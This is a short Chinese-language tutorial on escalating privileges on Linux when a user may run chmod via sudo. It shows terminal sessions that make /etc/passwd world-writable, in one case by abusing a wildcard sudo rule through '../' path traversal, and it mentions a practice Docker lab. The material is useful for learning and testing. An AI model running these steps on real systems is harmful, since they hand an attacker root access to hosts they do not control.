概述
chmod是Linux环境下用于设置文件权限的命令。当以root权限运行chmod时,有多种可能性可以进行提权。
示例1
用户可以通过sudo运行chmod,且没有任何命令行参数限制
test@ad3e81e06c29:~$ sudo -l
Matching Defaults entries for test on ad3e81e06c29:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on ad3e81e06c29:
(ALL) NOPASSWD: /usr/bin/chmod
test@ad3e81e06c29:~$
运行以下命令可以使所有用户对/etc/passwd文件可写,然后通过修改该文件进行提权,步骤可见这里。
test@ad3e81e06c29:~$ sudo chmod a+w /etc/passwd
test@ad3e81e06c29:~$ ls -alrt /etc/passwd
-rw-rw-rw-. 1 root root 1314 Sep 16 03:57 /etc/passwd
test@ad3e81e06c29:~$
示例2
用户可以通过sudo运行chmod,且命令行参数包含匹配符('*')
test@6a324d835aea:~$ sudo -l
Matching Defaults entries for test on 6a324d835aea:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User test may run the following commands on 6a324d835aea:
(ALL) NOPASSWD: /usr/bin/chmod a+w /backup/data/*
test@6a324d835aea:~$
运行以下命令可以使所有用户对/etc/passwd文件可写,然后通过修改该文件进行提权,步骤可见这里。
test@6a324d835aea:~$ sudo chmod a+w /backup/data/../../etc/passwd
test@6a324d835aea:~$ ls -alrt /etc/passwd
-rw-rw-rw-. 1 root root 1314 Sep 16 03:57 /etc/passwd
test@6a324d835aea:~$
实战
下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。